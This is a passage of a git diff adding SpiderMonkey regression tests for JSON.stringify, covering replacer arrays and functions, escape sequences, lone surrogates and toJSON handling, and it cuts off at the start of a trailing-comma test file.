+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", "undefined", undefined]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined, "undefined"]),
+ '{"3":3,"undefined":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", "null", null]),
+ '{"3":3,"null":4}');
+
+assertEq(JSON.stringify({ 3: 3, null: 4 }, ["3", null, "null"]),
+ '{"3":3,"null":4}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js b/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js
new file mode 100644
index 0000000000..6eb09855fa
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-trailing-holes.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "stringify-replacer-array-trailing-holes.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1217069;
+var summary =
+ "Better/more correct handling for replacer arrays with trailing holes " +
+ "through which inherited elements might appear";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { 0: "hi", 1: "n-nao", 2: "run away!", 3: "bye" };
+
+var s;
+
+var replacer = [0, /* 1 */, /* 2 */, /* 3 */, ];
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi"}');
+
+var nobj = new Number(0);
+nobj.toString = () => { replacer[1] = 1; return 0; };
+replacer[0] = nobj;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao"}');
+
+delete replacer[1];
+replacer[0] = 0;
+
+Object.prototype[0] = 0;
+Object.prototype[1] = 1;
+Object.prototype[2] = 2;
+Object.prototype[3] = 3;
+
+assertEq(JSON.stringify(obj, replacer),
+ '{"0":"hi","1":"n-nao","2":"run away!","3":"bye"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js b/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js
new file mode 100644
index 0000000000..0b3f6896e5
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-with-array-indexes.js
@@ -0,0 +1,56 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-with-array-indexes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "Call the replacer function for array elements with stringified indexes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4];
+
+var seenTopmost = false;
+var index = 0;
+function replacer()
+{
+ assertEq(arguments.length, 2);
+
+ var key = arguments[0], value = arguments[1];
+
+ // Topmost array: ignore replacer call.
+ if (key === "")
+ {
+ assertEq(seenTopmost, false);
+ seenTopmost = true;
+ return value;
+ }
+
+ assertEq(seenTopmost, true);
+
+ assertEq(typeof key, "string");
+ assertEq(key === index, false);
+ assertEq(key === index + "", true);
+
+ assertEq(value, index);
+
+ index++;
+
+ assertEq(this, arr);
+
+ return value;
+}
+
+assertEq(JSON.stringify(arr, replacer), '[0,1,2,3,4]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer.js b/js/src/tests/non262/JSON/stringify-replacer.js
new file mode 100644
index 0000000000..37497fd348
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer.js
@@ -0,0 +1,155 @@
+/**
+ * These return* functions are used by the
+ * replacer tests taken from bug 512447
+ */
+function returnObjectFor1(k, v)
+{
+ if (k == "1")
+ return {};
+ return v;
+}
+function returnArrayFor1(k, v)
+{
+ if (k == "1")
+ return [];
+ return v;
+}
+function returnNullFor1(k, v)
+{
+ if (k == "1")
+ return null;
+ return v;
+}
+function returnStringForUndefined(k, v)
+{
+ if (v === undefined)
+ return "undefined value";
+ return v;
+}
+var cycleObject = {}; cycleObject.cycle = cycleObject;
+function returnCycleObjectFor1(k, v)
+{
+ if (k == "1")
+ return cycleObject;
+ return v;
+}
+var array = [0, 1, 2]; array[3] = array;
+function returnCycleArrayFor1(k, v)
+{
+ if (k == "1")
+ return array;
+ return v;
+}
+
+// BEGIN TEST
+var x;
+
+x = JSON.stringify({ key: 2 },
+ function(k,v) { return k ? undefined : v; });
+assertEq(x, "{}");
+
+x = JSON.stringify(["hmm", "hmm"],
+ function(k,v) { return k !== "" ? undefined : v; });
+assertEq(x, "[null,null]");
+
+var foo = ["hmm"];
+function censor(k, v)
+{
+ if (v !== foo)
+ return "XXX";
+ return v;
+}
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX"]');
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor);
+assertEq(x, '["XXX","XXX","XXX"]');
+
+function censor2(k, v)
+{
+ if (typeof(v) == "string")
+ return "XXX";
+ return v;
+}
+
+foo = ["bar", ["baz"], "qux"];
+x = JSON.stringify(foo, censor2);
+assertEq(x, '["XXX",["XXX"],"XXX"]');
+
+foo = { bar: 42, qux: 42, quux: 42 };
+x = JSON.stringify(foo, ["bar"]);
+assertEq(x, '{"bar":42}');
+
+foo = {bar: {bar: 42, schmoo:[]}, qux: 42, quux: 42};
+x = JSON.stringify(foo, ["bar", "schmoo"]);
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]}}');
+
+x = JSON.stringify(foo, null, "");
+assertEq(x, '{"bar":{"bar":42,"schmoo":[]},"qux":42,"quux":42}');
+
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": 42,\n "schmoo": []\n },\n "qux": 42,\n "quux": 42\n}');
+
+foo = {bar:{bar:{}}}
+x = JSON.stringify(foo, null, " ");
+assertEq(x, '{\n "bar": {\n "bar": {}\n }\n}');
+
+x = JSON.stringify({ x: 1, arr: [1] },
+ function (k,v) { return typeof v === 'number' ? 3 : v; });
+assertEq(x, '{"x":3,"arr":[3]}');
+
+foo = ['e'];
+x = JSON.stringify(foo, null, '\t');
+assertEq(x, '[\n\t"e"\n]');
+
+foo = {0:0, 1:1, 2:2, 3:undefined};
+x = JSON.stringify(foo, returnObjectFor1);
+assertEq(x, '{"0":0,"1":{},"2":2}');
+
+x = JSON.stringify(foo, returnArrayFor1);
+assertEq(x, '{"0":0,"1":[],"2":2}');
+
+x = JSON.stringify(foo, returnNullFor1);
+assertEq(x, '{"0":0,"1":null,"2":2}');
+
+x = JSON.stringify(foo, returnStringForUndefined);
+assertEq(x, '{"0":0,"1":1,"2":2,"3":"undefined value"}');
+
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+try
+{
+ JSON.stringify(foo, returnCycleArrayFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+foo = [0, 1, 2, undefined];
+try
+{
+ JSON.stringify(foo, returnCycleObjectFor1);
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "no TypeError thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-special-escapes.js b/js/src/tests/non262/JSON/stringify-special-escapes.js
new file mode 100644
index 0000000000..c8a2e83815
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-special-escapes.js
@@ -0,0 +1,277 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-special-escapes.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 512266;
+var summary =
+ "JSON.stringify of \\b\\f\\n\\r\\t should use one-character escapes, not hex";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify("\u0000"), '"\\u0000"');
+assertEq(JSON.stringify("\u0001"), '"\\u0001"');
+assertEq(JSON.stringify("\u0002"), '"\\u0002"');
+assertEq(JSON.stringify("\u0003"), '"\\u0003"');
+assertEq(JSON.stringify("\u0004"), '"\\u0004"');
+assertEq(JSON.stringify("\u0005"), '"\\u0005"');
+assertEq(JSON.stringify("\u0006"), '"\\u0006"');
+assertEq(JSON.stringify("\u0007"), '"\\u0007"');
+assertEq(JSON.stringify("\u0008"), '"\\b"');
+assertEq(JSON.stringify("\u0009"), '"\\t"');
+assertEq(JSON.stringify("\u000A"), '"\\n"');
+assertEq(JSON.stringify("\u000B"), '"\\u000b"');
+assertEq(JSON.stringify("\u000C"), '"\\f"');
+assertEq(JSON.stringify("\u000D"), '"\\r"');
+assertEq(JSON.stringify("\u000E"), '"\\u000e"');
+assertEq(JSON.stringify("\u000F"), '"\\u000f"');
+assertEq(JSON.stringify("\u0010"), '"\\u0010"');
+assertEq(JSON.stringify("\u0011"), '"\\u0011"');
+assertEq(JSON.stringify("\u0012"), '"\\u0012"');
+assertEq(JSON.stringify("\u0013"), '"\\u0013"');
+assertEq(JSON.stringify("\u0014"), '"\\u0014"');
+assertEq(JSON.stringify("\u0015"), '"\\u0015"');
+assertEq(JSON.stringify("\u0016"), '"\\u0016"');
+assertEq(JSON.stringify("\u0017"), '"\\u0017"');
+assertEq(JSON.stringify("\u0018"), '"\\u0018"');
+assertEq(JSON.stringify("\u0019"), '"\\u0019"');
+assertEq(JSON.stringify("\u001A"), '"\\u001a"');
+assertEq(JSON.stringify("\u001B"), '"\\u001b"');
+assertEq(JSON.stringify("\u001C"), '"\\u001c"');
+assertEq(JSON.stringify("\u001D"), '"\\u001d"');
+assertEq(JSON.stringify("\u001E"), '"\\u001e"');
+assertEq(JSON.stringify("\u001F"), '"\\u001f"');
+assertEq(JSON.stringify("\u0020"), '" "');
+
+assertEq(JSON.stringify("\\u0000"), '"\\\\u0000"');
+assertEq(JSON.stringify("\\u0001"), '"\\\\u0001"');
+assertEq(JSON.stringify("\\u0002"), '"\\\\u0002"');
+assertEq(JSON.stringify("\\u0003"), '"\\\\u0003"');
+assertEq(JSON.stringify("\\u0004"), '"\\\\u0004"');
+assertEq(JSON.stringify("\\u0005"), '"\\\\u0005"');
+assertEq(JSON.stringify("\\u0006"), '"\\\\u0006"');
+assertEq(JSON.stringify("\\u0007"), '"\\\\u0007"');
+assertEq(JSON.stringify("\\u0008"), '"\\\\u0008"');
+assertEq(JSON.stringify("\\u0009"), '"\\\\u0009"');
+assertEq(JSON.stringify("\\u000A"), '"\\\\u000A"');
+assertEq(JSON.stringify("\\u000B"), '"\\\\u000B"');
+assertEq(JSON.stringify("\\u000C"), '"\\\\u000C"');
+assertEq(JSON.stringify("\\u000D"), '"\\\\u000D"');
+assertEq(JSON.stringify("\\u000E"), '"\\\\u000E"');
+assertEq(JSON.stringify("\\u000F"), '"\\\\u000F"');
+assertEq(JSON.stringify("\\u0010"), '"\\\\u0010"');
+assertEq(JSON.stringify("\\u0011"), '"\\\\u0011"');
+assertEq(JSON.stringify("\\u0012"), '"\\\\u0012"');
+assertEq(JSON.stringify("\\u0013"), '"\\\\u0013"');
+assertEq(JSON.stringify("\\u0014"), '"\\\\u0014"');
+assertEq(JSON.stringify("\\u0015"), '"\\\\u0015"');
+assertEq(JSON.stringify("\\u0016"), '"\\\\u0016"');
+assertEq(JSON.stringify("\\u0017"), '"\\\\u0017"');
+assertEq(JSON.stringify("\\u0018"), '"\\\\u0018"');
+assertEq(JSON.stringify("\\u0019"), '"\\\\u0019"');
+assertEq(JSON.stringify("\\u001A"), '"\\\\u001A"');
+assertEq(JSON.stringify("\\u001B"), '"\\\\u001B"');
+assertEq(JSON.stringify("\\u001C"), '"\\\\u001C"');
+assertEq(JSON.stringify("\\u001D"), '"\\\\u001D"');
+assertEq(JSON.stringify("\\u001E"), '"\\\\u001E"');
+assertEq(JSON.stringify("\\u001F"), '"\\\\u001F"');
+assertEq(JSON.stringify("\\u0020"), '"\\\\u0020"');
+
+
+assertEq(JSON.stringify("a\u0000"), '"a\\u0000"');
+assertEq(JSON.stringify("a\u0001"), '"a\\u0001"');
+assertEq(JSON.stringify("a\u0002"), '"a\\u0002"');
+assertEq(JSON.stringify("a\u0003"), '"a\\u0003"');
+assertEq(JSON.stringify("a\u0004"), '"a\\u0004"');
+assertEq(JSON.stringify("a\u0005"), '"a\\u0005"');
+assertEq(JSON.stringify("a\u0006"), '"a\\u0006"');
+assertEq(JSON.stringify("a\u0007"), '"a\\u0007"');
+assertEq(JSON.stringify("a\u0008"), '"a\\b"');
+assertEq(JSON.stringify("a\u0009"), '"a\\t"');
+assertEq(JSON.stringify("a\u000A"), '"a\\n"');
+assertEq(JSON.stringify("a\u000B"), '"a\\u000b"');
+assertEq(JSON.stringify("a\u000C"), '"a\\f"');
+assertEq(JSON.stringify("a\u000D"), '"a\\r"');
+assertEq(JSON.stringify("a\u000E"), '"a\\u000e"');
+assertEq(JSON.stringify("a\u000F"), '"a\\u000f"');
+assertEq(JSON.stringify("a\u0010"), '"a\\u0010"');
+assertEq(JSON.stringify("a\u0011"), '"a\\u0011"');
+assertEq(JSON.stringify("a\u0012"), '"a\\u0012"');
+assertEq(JSON.stringify("a\u0013"), '"a\\u0013"');
+assertEq(JSON.stringify("a\u0014"), '"a\\u0014"');
+assertEq(JSON.stringify("a\u0015"), '"a\\u0015"');
+assertEq(JSON.stringify("a\u0016"), '"a\\u0016"');
+assertEq(JSON.stringify("a\u0017"), '"a\\u0017"');
+assertEq(JSON.stringify("a\u0018"), '"a\\u0018"');
+assertEq(JSON.stringify("a\u0019"), '"a\\u0019"');
+assertEq(JSON.stringify("a\u001A"), '"a\\u001a"');
+assertEq(JSON.stringify("a\u001B"), '"a\\u001b"');
+assertEq(JSON.stringify("a\u001C"), '"a\\u001c"');
+assertEq(JSON.stringify("a\u001D"), '"a\\u001d"');
+assertEq(JSON.stringify("a\u001E"), '"a\\u001e"');
+assertEq(JSON.stringify("a\u001F"), '"a\\u001f"');
+assertEq(JSON.stringify("a\u0020"), '"a "');
+
+assertEq(JSON.stringify("a\\u0000"), '"a\\\\u0000"');
+assertEq(JSON.stringify("a\\u0001"), '"a\\\\u0001"');
+assertEq(JSON.stringify("a\\u0002"), '"a\\\\u0002"');
+assertEq(JSON.stringify("a\\u0003"), '"a\\\\u0003"');
+assertEq(JSON.stringify("a\\u0004"), '"a\\\\u0004"');
+assertEq(JSON.stringify("a\\u0005"), '"a\\\\u0005"');
+assertEq(JSON.stringify("a\\u0006"), '"a\\\\u0006"');
+assertEq(JSON.stringify("a\\u0007"), '"a\\\\u0007"');
+assertEq(JSON.stringify("a\\u0008"), '"a\\\\u0008"');
+assertEq(JSON.stringify("a\\u0009"), '"a\\\\u0009"');
+assertEq(JSON.stringify("a\\u000A"), '"a\\\\u000A"');
+assertEq(JSON.stringify("a\\u000B"), '"a\\\\u000B"');
+assertEq(JSON.stringify("a\\u000C"), '"a\\\\u000C"');
+assertEq(JSON.stringify("a\\u000D"), '"a\\\\u000D"');
+assertEq(JSON.stringify("a\\u000E"), '"a\\\\u000E"');
+assertEq(JSON.stringify("a\\u000F"), '"a\\\\u000F"');
+assertEq(JSON.stringify("a\\u0010"), '"a\\\\u0010"');
+assertEq(JSON.stringify("a\\u0011"), '"a\\\\u0011"');
+assertEq(JSON.stringify("a\\u0012"), '"a\\\\u0012"');
+assertEq(JSON.stringify("a\\u0013"), '"a\\\\u0013"');
+assertEq(JSON.stringify("a\\u0014"), '"a\\\\u0014"');
+assertEq(JSON.stringify("a\\u0015"), '"a\\\\u0015"');
+assertEq(JSON.stringify("a\\u0016"), '"a\\\\u0016"');
+assertEq(JSON.stringify("a\\u0017"), '"a\\\\u0017"');
+assertEq(JSON.stringify("a\\u0018"), '"a\\\\u0018"');
+assertEq(JSON.stringify("a\\u0019"), '"a\\\\u0019"');
+assertEq(JSON.stringify("a\\u001A"), '"a\\\\u001A"');
+assertEq(JSON.stringify("a\\u001B"), '"a\\\\u001B"');
+assertEq(JSON.stringify("a\\u001C"), '"a\\\\u001C"');
+assertEq(JSON.stringify("a\\u001D"), '"a\\\\u001D"');
+assertEq(JSON.stringify("a\\u001E"), '"a\\\\u001E"');
+assertEq(JSON.stringify("a\\u001F"), '"a\\\\u001F"');
+assertEq(JSON.stringify("a\\u0020"), '"a\\\\u0020"');
+
+
+assertEq(JSON.stringify("\u0000Q"), '"\\u0000Q"');
+assertEq(JSON.stringify("\u0001Q"), '"\\u0001Q"');
+assertEq(JSON.stringify("\u0002Q"), '"\\u0002Q"');
+assertEq(JSON.stringify("\u0003Q"), '"\\u0003Q"');
+assertEq(JSON.stringify("\u0004Q"), '"\\u0004Q"');
+assertEq(JSON.stringify("\u0005Q"), '"\\u0005Q"');
+assertEq(JSON.stringify("\u0006Q"), '"\\u0006Q"');
+assertEq(JSON.stringify("\u0007Q"), '"\\u0007Q"');
+assertEq(JSON.stringify("\u0008Q"), '"\\bQ"');
+assertEq(JSON.stringify("\u0009Q"), '"\\tQ"');
+assertEq(JSON.stringify("\u000AQ"), '"\\nQ"');
+assertEq(JSON.stringify("\u000BQ"), '"\\u000bQ"');
+assertEq(JSON.stringify("\u000CQ"), '"\\fQ"');
+assertEq(JSON.stringify("\u000DQ"), '"\\rQ"');
+assertEq(JSON.stringify("\u000EQ"), '"\\u000eQ"');
+assertEq(JSON.stringify("\u000FQ"), '"\\u000fQ"');
+assertEq(JSON.stringify("\u0010Q"), '"\\u0010Q"');
+assertEq(JSON.stringify("\u0011Q"), '"\\u0011Q"');
+assertEq(JSON.stringify("\u0012Q"), '"\\u0012Q"');
+assertEq(JSON.stringify("\u0013Q"), '"\\u0013Q"');
+assertEq(JSON.stringify("\u0014Q"), '"\\u0014Q"');
+assertEq(JSON.stringify("\u0015Q"), '"\\u0015Q"');
+assertEq(JSON.stringify("\u0016Q"), '"\\u0016Q"');
+assertEq(JSON.stringify("\u0017Q"), '"\\u0017Q"');
+assertEq(JSON.stringify("\u0018Q"), '"\\u0018Q"');
+assertEq(JSON.stringify("\u0019Q"), '"\\u0019Q"');
+assertEq(JSON.stringify("\u001AQ"), '"\\u001aQ"');
+assertEq(JSON.stringify("\u001BQ"), '"\\u001bQ"');
+assertEq(JSON.stringify("\u001CQ"), '"\\u001cQ"');
+assertEq(JSON.stringify("\u001DQ"), '"\\u001dQ"');
+assertEq(JSON.stringify("\u001EQ"), '"\\u001eQ"');
+assertEq(JSON.stringify("\u001FQ"), '"\\u001fQ"');
+assertEq(JSON.stringify("\u0020Q"), '" Q"');
+
+assertEq(JSON.stringify("\\u0000Q"), '"\\\\u0000Q"');
+assertEq(JSON.stringify("\\u0001Q"), '"\\\\u0001Q"');
+assertEq(JSON.stringify("\\u0002Q"), '"\\\\u0002Q"');
+assertEq(JSON.stringify("\\u0003Q"), '"\\\\u0003Q"');
+assertEq(JSON.stringify("\\u0004Q"), '"\\\\u0004Q"');
+assertEq(JSON.stringify("\\u0005Q"), '"\\\\u0005Q"');
+assertEq(JSON.stringify("\\u0006Q"), '"\\\\u0006Q"');
+assertEq(JSON.stringify("\\u0007Q"), '"\\\\u0007Q"');
+assertEq(JSON.stringify("\\u0008Q"), '"\\\\u0008Q"');
+assertEq(JSON.stringify("\\u0009Q"), '"\\\\u0009Q"');
+assertEq(JSON.stringify("\\u000AQ"), '"\\\\u000AQ"');
+assertEq(JSON.stringify("\\u000BQ"), '"\\\\u000BQ"');
+assertEq(JSON.stringify("\\u000CQ"), '"\\\\u000CQ"');
+assertEq(JSON.stringify("\\u000DQ"), '"\\\\u000DQ"');
+assertEq(JSON.stringify("\\u000EQ"), '"\\\\u000EQ"');
+assertEq(JSON.stringify("\\u000FQ"), '"\\\\u000FQ"');
+assertEq(JSON.stringify("\\u0010Q"), '"\\\\u0010Q"');
+assertEq(JSON.stringify("\\u0011Q"), '"\\\\u0011Q"');
+assertEq(JSON.stringify("\\u0012Q"), '"\\\\u0012Q"');
+assertEq(JSON.stringify("\\u0013Q"), '"\\\\u0013Q"');
+assertEq(JSON.stringify("\\u0014Q"), '"\\\\u0014Q"');
+assertEq(JSON.stringify("\\u0015Q"), '"\\\\u0015Q"');
+assertEq(JSON.stringify("\\u0016Q"), '"\\\\u0016Q"');
+assertEq(JSON.stringify("\\u0017Q"), '"\\\\u0017Q"');
+assertEq(JSON.stringify("\\u0018Q"), '"\\\\u0018Q"');
+assertEq(JSON.stringify("\\u0019Q"), '"\\\\u0019Q"');
+assertEq(JSON.stringify("\\u001AQ"), '"\\\\u001AQ"');
+assertEq(JSON.stringify("\\u001BQ"), '"\\\\u001BQ"');
+assertEq(JSON.stringify("\\u001CQ"), '"\\\\u001CQ"');
+assertEq(JSON.stringify("\\u001DQ"), '"\\\\u001DQ"');
+assertEq(JSON.stringify("\\u001EQ"), '"\\\\u001EQ"');
+assertEq(JSON.stringify("\\u001FQ"), '"\\\\u001FQ"');
+assertEq(JSON.stringify("\\u0020Q"), '"\\\\u0020Q"');
+
+// https://tc39.github.io/proposal-well-formed-stringify/
+
+assertEq(JSON.stringify("\ud7ff"), '"\ud7ff"');
+assertEq(JSON.stringify("\ud800"), '"\\ud800"');
+assertEq(JSON.stringify("\ud937"), '"\\ud937"');
+assertEq(JSON.stringify("\uda20"), '"\\uda20"');
+assertEq(JSON.stringify("\udbff"), '"\\udbff"');
+
+assertEq(JSON.stringify("\udc00"), '"\\udc00"');
+assertEq(JSON.stringify("\udddd"), '"\\udddd"');
+assertEq(JSON.stringify("\udeaf"), '"\\udeaf"');
+assertEq(JSON.stringify("\udfff"), '"\\udfff"');
+assertEq(JSON.stringify("\ue000"), '"\ue000"');
+
+assertEq(JSON.stringify("\ud7ffa"), '"\ud7ffa"');
+assertEq(JSON.stringify("\ud800a"), '"\\ud800a"');
+assertEq(JSON.stringify("\ud937a"), '"\\ud937a"');
+assertEq(JSON.stringify("\uda20a"), '"\\uda20a"');
+assertEq(JSON.stringify("\udbffa"), '"\\udbffa"');
+
+assertEq(JSON.stringify("\udc00a"), '"\\udc00a"');
+assertEq(JSON.stringify("\udddda"), '"\\udddda"');
+assertEq(JSON.stringify("\udeafa"), '"\\udeafa"');
+assertEq(JSON.stringify("\udfffa"), '"\\udfffa"');
+assertEq(JSON.stringify("\ue000a"), '"\ue000a"');
+
+assertEq(JSON.stringify("\ud7ff\ud800"), '"\ud7ff\\ud800"');
+assertEq(JSON.stringify("\ud800\ud800"), '"\\ud800\\ud800"');
+assertEq(JSON.stringify("\ud937\ud800"), '"\\ud937\\ud800"');
+assertEq(JSON.stringify("\uda20\ud800"), '"\\uda20\\ud800"');
+assertEq(JSON.stringify("\udbff\ud800"), '"\\udbff\\ud800"');
+
+assertEq(JSON.stringify("\udc00\ud800"), '"\\udc00\\ud800"');
+assertEq(JSON.stringify("\udddd\ud800"), '"\\udddd\\ud800"');
+assertEq(JSON.stringify("\udeaf\ud800"), '"\\udeaf\\ud800"');
+assertEq(JSON.stringify("\udfff\ud800"), '"\\udfff\\ud800"');
+assertEq(JSON.stringify("\ue000\ud800"), '"\ue000\\ud800"');
+
+assertEq(JSON.stringify("\ud7ff\udc00"), '"\ud7ff\\udc00"');
+assertEq(JSON.stringify("\ud800\udc00"), '"\ud800\udc00"');
+assertEq(JSON.stringify("\ud937\udc00"), '"\ud937\udc00"');
+assertEq(JSON.stringify("\uda20\udc00"), '"\uda20\udc00"');
+assertEq(JSON.stringify("\udbff\udc00"), '"\udbff\udc00"');
+
+assertEq(JSON.stringify("\udc00\udc00"), '"\\udc00\\udc00"');
+assertEq(JSON.stringify("\udddd\udc00"), '"\\udddd\\udc00"');
+assertEq(JSON.stringify("\udeaf\udc00"), '"\\udeaf\\udc00"');
+assertEq(JSON.stringify("\udfff\udc00"), '"\\udfff\\udc00"');
+assertEq(JSON.stringify("\ue000\udc00"), '"\ue000\\udc00"');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-toJSON-arguments.js b/js/src/tests/non262/JSON/stringify-toJSON-arguments.js
new file mode 100644
index 0000000000..7c2013d588
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-toJSON-arguments.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-toJSON-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Arguments when an object's toJSON method is called";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function(key)
+ {
+ assertEq(arguments.length, 1);
+ assertEq(key, "p");
+ return 17;
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify.js b/js/src/tests/non262/JSON/stringify.js
new file mode 100644
index 0000000000..3b21474206
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify.js
@@ -0,0 +1,87 @@
+function assertStringify(v, expect)
+{
+ assertEq(JSON.stringify(v), expect);
+}
+
+assertStringify({}, "{}");
+assertStringify([], "[]");
+assertStringify({"foo":"bar"}, '{"foo":"bar"}');
+assertStringify({"null":null}, '{"null":null}');
+assertStringify({"five":5}, '{"five":5}');
+assertStringify({"five":5, "six":6}, '{"five":5,"six":6}');
+assertStringify({"x":{"y":"z"}}, '{"x":{"y":"z"}}');
+assertStringify({"w":{"x":{"y":"z"}}}, '{"w":{"x":{"y":"z"}}}');
+assertStringify([1,2,3], '[1,2,3]');
+assertStringify({"w":{"x":{"y":[1,2,3]}}}, '{"w":{"x":{"y":[1,2,3]}}}');
+assertStringify({"false":false}, '{"false":false}');
+assertStringify({"true":true}, '{"true":true}');
+assertStringify({"child has two members": {"this":"one", 2:"and this one"}},
+ '{"child has two members":{"2":"and this one","this":"one"}}');
+assertStringify({"x":{"a":"b","c":{"y":"z"},"f":"g"}},
+ '{"x":{"a":"b","c":{"y":"z"},"f":"g"}}');
+assertStringify({"x":[1,{"y":"z"},3]}, '{"x":[1,{"y":"z"},3]}');
+assertStringify([new String("hmm")], '["hmm"]');
+assertStringify([new Boolean(true)], '[true]');
+assertStringify([new Number(42)], '[42]');
+assertStringify([new Date(Date.UTC(1978, 8, 13, 12, 24, 34, 23))],
+ '["1978-09-13T12:24:34.023Z"]');
+assertStringify([1,,3], '[1,null,3]');
+assertStringify({"mm\"mm":"hmm"}, '{"mm\\\"mm":"hmm"}');
+assertStringify({"mm\"mm\"mm":"hmm"}, '{"mm\\\"mm\\\"mm":"hmm"}');
+assertStringify({'"':"hmm"}, '{"\\\"":"hmm"}');
+assertStringify({'\\':"hmm"}, '{"\\\\":"hmm"}');
+assertStringify({'mmm\\mmm':"hmm"}, '{"mmm\\\\mmm":"hmm"}');
+assertStringify({'mmm\\mmm\\mmm':"hmm"}, '{"mmm\\\\mmm\\\\mmm":"hmm"}');
+assertStringify({"mm\u000bmm":"hmm"}, '{"mm\\u000bmm":"hmm"}');
+assertStringify({"mm\u0000mm":"hmm"}, '{"mm\\u0000mm":"hmm"}');
+assertStringify({"\u0000\u000b":""}, '{"\\u0000\\u000b":""}');
+assertStringify({"\u000b\ufdfd":"hmm"}, '{"\\u000b\ufdfd":"hmm"}');
+assertStringify({"\u000b\ufdfd":"h\xfc\ufdfdm"}, '{"\\u000b\ufdfd":"h\xfc\ufdfdm"}');
+
+var x = {"free":"variable"};
+assertStringify(x, '{"free":"variable"}');
+assertStringify({"y":x}, '{"y":{"free":"variable"}}');
+
+// array prop
+assertStringify({ a: [1,2,3] }, '{"a":[1,2,3]}');
+
+assertStringify({"y": { foo: function(hmm) { return hmm; } } }, '{"y":{}}');
+
+// test toJSON
+var hmm = { toJSON: function() { return {"foo":"bar"} } };
+assertStringify({"hmm":hmm}, '{"hmm":{"foo":"bar"}}');
+assertStringify(hmm, '{"foo":"bar"}'); // on the root
+
+// toJSON on prototype
+var Y = function() {
+ this.not = "there?";
+ this.d = "e";
+};
+Y.prototype = {
+ not: "there?",
+ toJSON: function() { return {"foo":"bar"}}
+};
+var y = new Y();
+assertStringify(y.toJSON(), '{"foo":"bar"}');
+assertStringify(y, '{"foo":"bar"}');
+
+// return undefined from toJSON
+assertStringify({"hmm": { toJSON: function() { return; } } }, '{}');
+
+// array with named prop
+var x = new Array();
+x[0] = 1;
+x.foo = "bar";
+assertStringify(x, '[1]');
+
+// prototype
+var X = function() { this.a = "b" };
+X.prototype = { c: "d" };
+assertStringify(new X(), '{"a":"b"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/trailing-comma.js b/js/src/tests/non262/JSON/trailing-comma.js
new file mode 100644
index 0000000000..0dc20e71a0
--- /dev/null
+++ b/js/src/tests/non262/JSON/trailing-comma.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'trailing-comma.js';
